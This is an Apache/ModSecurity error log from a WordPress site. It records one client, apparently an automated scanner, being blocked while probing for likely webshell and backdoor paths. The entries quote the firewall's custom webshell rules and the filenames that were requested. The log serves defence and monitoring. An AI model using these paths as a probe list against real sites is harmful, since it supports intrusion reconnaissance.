[Thu Feb 26 22:21:18.928851 2026] [autoindex:error] [pid 44444:tid 44458] [client 20.151.107.14:64145] AH01276: Cannot serve directory /home/gigfrag/public_html/wp-admin/includes/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Thu Feb 26 22:21:20.975494 2026] [:error] [pid 44444:tid 44461] [client 20.151.107.14:64145] [client 20.151.107.14] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/function/function.php"] [unique_id "aaBW4G2sMNmj-yekUk1J9AAAAgs"]
[Thu Feb 26 22:21:22.050788 2026] [:error] [pid 55051:tid 55061] [client 20.151.107.14:64172] [client 20.151.107.14] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/function/function.php"] [unique_id "aaBW4gmK1w2kZvh5eLHMnAAAAIc"]
[Thu Feb 26 22:21:26.710232 2026] [:error] [pid 55051:tid 55066] [client 20.151.107.14:63609] [client 20.151.107.14] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/function/function.php"] [unique_id "aaBW5gmK1w2kZvh5eLHMwAAAAIw"]
[Thu Feb 26 22:21:29.629446 2026] [:error] [pid 44444:tid 44453] [client 20.151.107.14:64213] [client 20.151.107.14] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/function/function.php"] [unique_id "aaBW6W2sMNmj-yekUk1KDgAAAgM"]
[Thu Feb 26 22:21:30.476023 2026] [:error] [pid 44444:tid 44450] [client 20.151.107.14:63560] [client 20.151.107.14] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "gigfragments.org"] [uri "/wp-includes/certificates/about.php"] [unique_id "aaBW6m2sMNmj-yekUk1KEQAAAgA"]
[Thu Feb 26 22:21:31.117037 2026] [:error] [pid 55122:tid 55139] [client 20.151.107.14:64209] [client 20.151.107.14] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/wp-content/uploads/about.php"] [unique_id "aaBW64LiR0OfjFxvcN812AAAAM8"]
[Thu Feb 26 22:21:31.740608 2026] [:error] [pid 55051:tid 55075] [client 20.151.107.14:63526] [client 20.151.107.14] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/wp-content/uploads/about.php"] [unique_id "aaBW6wmK1w2kZvh5eLHM4gAAAJU"]
[Thu Feb 26 22:21:32.253461 2026] [:error] [pid 55618:tid 55632] [client 20.151.107.14:64150] [client 20.151.107.14] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/wp-content/uploads/about.php"] [unique_id "aaBW7B61Vrh12f_8oWQT-gAAAQs"]
[Thu Feb 26 22:21:32.832541 2026] [:error] [pid 54991:tid 55032] [client 20.151.107.14:63596] [client 20.151.107.14] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/wp-content/uploads/about.php"] [unique_id "aaBW7N4Zx-mJ8gbRB2j8dQAAAEw"]
[Thu Feb 26 22:21:33.290825 2026] [:error] [pid 55122:tid 55140] [client 20.151.107.14:64253] [client 20.151.107.14] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/classwithtostring.php"] [unique_id "aaBW7YLiR0OfjFxvcN813gAAANA"]
[Thu Feb 26 22:21:33.755513 2026] [:error] [pid 25311:tid 25318] [client 20.151.107.14:63579] [client 20.151.107.14] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/classwithtostring.php"] [unique_id "aaBW7dfdM__yZAgJFSvrIQAAAYQ"]
[Thu Feb 26 22:21:34.438011 2026] [:error] [pid 55122:tid 55132] [client 20.151.107.14:64153] [client 20.151.107.14] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/classwithtostring.php"] [unique_id "aaBW7oLiR0OfjFxvcN814AAAAMg"]
[Thu Feb 26 22:21:34.883557 2026] [:error] [pid 3883:tid 3905] [client 20.151.107.14:64164] [client 20.151.107.14] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/classwithtostring.php"] [unique_id "aaBW7uA33x90V6yYHaj1awAAAVM"]
[Thu Feb 26 22:21:35.461267 2026] [:error] [pid 55122:tid 55130] [client 20.151.107.14:64188] [client 20.151.107.14] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/wp-content/plugins/linkpreview/index.php"] [unique_id "aaBW74LiR0OfjFxvcN815AAAAMY"]
[Thu Feb 26 22:21:35.938303 2026] [:error] [pid 44444:tid 44466] [client 20.151.107.14:64186] [client 20.151.107.14] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/wp-content/plugins/linkpreview/index.php"] [unique_id "aaBW722sMNmj-yekUk1KGwAAAhA"]
[Thu Feb 26 22:21:36.461464 2026] [:error] [pid 55122:tid 55143] [client 20.151.107.14:62928] [client 20.151.107.14] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/wp-content/plugins/linkpreview/index.php"] [unique_id "aaBW8ILiR0OfjFxvcN815wAAANM"]
[Thu Feb 26 22:21:37.181864 2026] [:error] [pid 44444:tid 44452] [client 20.151.107.14:64221] [client 20.151.107.14] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/wp-content/plugins/linkpreview/index.php"] [unique_id "aaBW8W2sMNmj-yekUk1KIgAAAgI"]
[Thu Feb 26 22:21:37.961099 2026] [:error] [pid 55122:tid 55145] [client 20.151.107.14:63553] [client 20.151.107.14] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/wp-admin/css/colors/blue/index.php"] [unique_id "aaBW8YLiR0OfjFxvcN816gAAANU"]
[Thu Feb 26 22:21:38.735953 2026] [:error] [pid 55618:tid 55623] [client 20.151.107.14:64246] [client 20.151.107.14] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/wp-admin/css/colors/blue/index.php"] [unique_id "aaBW8h61Vrh12f_8oWQUAQAAAQI"]
[Thu Feb 26 22:21:39.337625 2026] [:error] [pid 44444:tid 44454] [client 20.151.107.14:63600] [client 20.151.107.14] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/wp-admin/css/colors/blue/index.php"] [unique_id "aaBW822sMNmj-yekUk1KKQAAAgQ"]
[Thu Feb 26 22:21:39.901036 2026] [:error] [pid 54990:tid 55001] [client 20.151.107.14:62924] [client 20.151.107.14] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/wp-admin/css/colors/blue/index.php"] [unique_id "aaBW83tr2qmt_mBhH2wu-gAAAAg"]
[Thu Feb 26 22:21:40.667596 2026] [:error] [pid 54990:tid 55002] [client 20.151.107.14:64245] [client 20.151.107.14] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/wp-content/themes/alera/alpha.php"] [unique_id "aaBW9Htr2qmt_mBhH2wu_QAAAAk"]
[Thu Feb 26 22:21:41.189572 2026] [:error] [pid 54991:tid 55028] [client 20.151.107.14:64136] [client 20.151.107.14] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/wp-content/themes/alera/alpha.php"] [unique_id "aaBW9d4Zx-mJ8gbRB2j8iQAAAEg"]
[Thu Feb 26 22:21:41.719051 2026] [:error] [pid 55051:tid 55070] [client 20.151.107.14:64195] [client 20.151.107.14] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/wp-content/themes/alera/alpha.php"] [unique_id "aaBW9QmK1w2kZvh5eLHM_AAAAJA"]
[Thu Feb 26 22:21:42.210328 2026] [:error] [pid 55051:tid 55061] [client 20.151.107.14:63511] [client 20.151.107.14] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/wp-content/themes/alera/alpha.php"] [unique_id "aaBW9gmK1w2kZvh5eLHM_gAAAIc"]
[Thu Feb 26 22:21:42.683485 2026] [:error] [pid 55051:tid 55057] [client 20.151.107.14:63581] [client 20.151.107.14] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/aaa.php"] [unique_id "aaBW9gmK1w2kZvh5eLHNAwAAAIM"]
[Thu Feb 26 22:21:43.331330 2026] [:error] [pid 55051:tid 55078] [client 20.151.107.14:63564] [client 20.151.107.14] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/aaa.php"] [unique_id "aaBW9wmK1w2kZvh5eLHNCgAAAJg"]
[Thu Feb 26 22:21:43.795592 2026] [:error] [pid 54991:tid 55023] [client 20.151.107.14:64237] [client 20.151.107.14] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/aaa.php"] [unique_id "aaBW994Zx-mJ8gbRB2j8kwAAAEM"]
[Thu Feb 26 22:21:44.219325 2026] [:error] [pid 54991:tid 55033] [client 20.151.107.14:63599] [client 20.151.107.14] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/aaa.php"] [unique_id "aaBW-N4Zx-mJ8gbRB2j8lAAAAE0"]
[Thu Feb 26 22:21:44.678927 2026] [:error] [pid 55051:tid 55075] [client 20.151.107.14:64133] [client 20.151.107.14] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/wp-includes/block-supports/"] [unique_id "aaBW-AmK1w2kZvh5eLHNCwAAAJU"]
[Thu Feb 26 22:21:45.174034 2026] [:error] [pid 55051:tid 55070] [client 20.151.107.14:64247] [client 20.151.107.14] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/wp-includes/block-supports/"] [unique_id "aaBW-QmK1w2kZvh5eLHNDgAAAJA"]
[Thu Feb 26 22:21:45.614352 2026] [:error] [pid 44444:tid 44458] [client 20.151.107.14:64238] [client 20.151.107.14] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/wp-includes/block-supports/"] [unique_id "aaBW-W2sMNmj-yekUk1KOAAAAgg"]
[Thu Feb 26 22:21:46.053077 2026] [:error] [pid 55618:tid 55629] [client 20.151.107.14:64226] [client 20.151.107.14] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/wp-includes/block-supports/"] [unique_id "aaBW-h61Vrh12f_8oWQUBQAAAQg"]
[Thu Feb 26 22:21:46.479654 2026] [:error] [pid 54991:tid 55031] [client 20.151.107.14:62947] [client 20.151.107.14] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/wp-includes/IXR/"] [unique_id "aaBW-t4Zx-mJ8gbRB2j8mAAAAEs"]
[Thu Feb 26 22:21:46.960168 2026] [:error] [pid 20419:tid 20438] [client 20.151.107.14:63586] [client 20.151.107.14] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/wp-includes/IXR/"] [unique_id "aaBW-u3DVDvMfTYYUBVnPAAAAdA"]
[Thu Feb 26 22:21:47.407448 2026] [:error] [pid 44444:tid 44456] [client 20.151.107.14:64160] [client 20.151.107.14] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/wp-includes/IXR/"] [unique_id "aaBW-22sMNmj-yekUk1KPgAAAgY"]
[Thu Feb 26 22:21:47.942035 2026] [:error] [pid 44444:tid 44461] [client 20.151.107.14:64159] [client 20.151.107.14] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/wp-includes/IXR/"] [unique_id "aaBW-22sMNmj-yekUk1KQAAAAgs"]
[Thu Feb 26 22:21:48.873917 2026] [:error] [pid 54991:tid 55042] [client 20.151.107.14:64182] [client 20.151.107.14] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "gigfragments.org"] [uri "/wp-includes/block-patterns/about.php"] [unique_id "aaBW_N4Zx-mJ8gbRB2j8nAAAAFY"]
[Thu Feb 26 22:21:49.451820 2026] [:error] [pid 20419:tid 20424] [client 20.151.107.14:64168] [client 20.151.107.14] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/wp-admin.php"] [unique_id "aaBW_e3DVDvMfTYYUBVnPwAAAcI"]
[Thu Feb 26 22:21:51.109672 2026] [:error] [pid 55051:tid 55077] [client 20.151.107.14:64222] [client 20.151.107.14] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/wp-admin.php"] [unique_id "aaBW_wmK1w2kZvh5eLHNHQAAAJc"]
[Thu Feb 26 22:21:52.618202 2026] [:error] [pid 44444:tid 44455] [client 20.151.107.14:64128] [client 20.151.107.14] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/wp-admin.php"] [unique_id "aaBXAG2sMNmj-yekUk1KVAAAAgU"]
[Thu Feb 26 22:21:54.280877 2026] [:error] [pid 20419:tid 20434] [client 20.151.107.14:64147] [client 20.151.107.14] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/wp-admin.php"] [unique_id "aaBXAu3DVDvMfTYYUBVnQwAAAcw"]
[Thu Feb 26 22:21:55.456077 2026] [:error] [pid 25311:tid 25318] [client 20.151.107.14:63578] [client 20.151.107.14] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/wp-content/uploads/index.php"] [unique_id "aaBXA9fdM__yZAgJFSvrMwAAAYQ"]
[Thu Feb 26 22:21:55.958208 2026] [:error] [pid 55051:tid 55072] [client 20.151.107.14:64175] [client 20.151.107.14] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/wp-content/uploads/index.php"] [unique_id "aaBXAwmK1w2kZvh5eLHNNAAAAJI"]
[Thu Feb 26 22:21:56.505475 2026] [:error] [pid 55122:tid 55136] [client 20.151.107.14:64169] [client 20.151.107.14] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/wp-content/uploads/index.php"] [unique_id "aaBXBILiR0OfjFxvcN818QAAAMw"]
[Thu Feb 26 22:21:57.353056 2026] [:error] [pid 55051:tid 55056] [client 20.151.107.14:63601] [client 20.151.107.14] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/wp-content/uploads/index.php"] [unique_id "aaBXBQmK1w2kZvh5eLHNOQAAAII"]
[Thu Feb 26 22:21:57.815709 2026] [:error] [pid 55051:tid 55058] [client 20.151.107.14:64158] [client 20.151.107.14] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/admin/admin.php"] [unique_id "aaBXBQmK1w2kZvh5eLHNPQAAAIQ"]
[Thu Feb 26 22:21:58.425982 2026] [:error] [pid 20419:tid 20427] [client 20.151.107.14:63607] [client 20.151.107.14] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/admin/admin.php"] [unique_id "aaBXBu3DVDvMfTYYUBVnSAAAAcU"]
[Thu Feb 26 22:21:59.043368 2026] [:error] [pid 55618:tid 55642] [client 20.151.107.14:63552] [client 20.151.107.14] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/admin/admin.php"] [unique_id "aaBXBx61Vrh12f_8oWQUDQAAARU"]
[Thu Feb 26 22:21:59.606794 2026] [:error] [pid 44444:tid 44473] [client 20.151.107.14:64131] [client 20.151.107.14] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/admin/admin.php"] [unique_id "aaBXB22sMNmj-yekUk1KZAAAAhc"]
[Thu Feb 26 22:22:00.178376 2026] [:error] [pid 54991:tid 55036] [client 20.151.107.14:64174] [client 20.151.107.14] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/wp-includes/PHPMailer/"] [unique_id "aaBXCN4Zx-mJ8gbRB2j8sQAAAFA"]
[Thu Feb 26 22:22:00.657975 2026] [:error] [pid 55122:tid 55143] [client 20.151.107.14:63506] [client 20.151.107.14] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/wp-includes/PHPMailer/"] [unique_id "aaBXCILiR0OfjFxvcN81-QAAANM"]
[Thu Feb 26 22:22:01.186996 2026] [:error] [pid 54991:tid 55021] [client 20.151.107.14:64155] [client 20.151.107.14] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/wp-includes/PHPMailer/"] [unique_id "aaBXCd4Zx-mJ8gbRB2j8tQAAAEE"]
[Thu Feb 26 22:22:01.721482 2026] [:error] [pid 55051:tid 55072] [client 20.151.107.14:64230] [client 20.151.107.14] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/wp-includes/PHPMailer/"] [unique_id "aaBXCQmK1w2kZvh5eLHNRAAAAJI"]
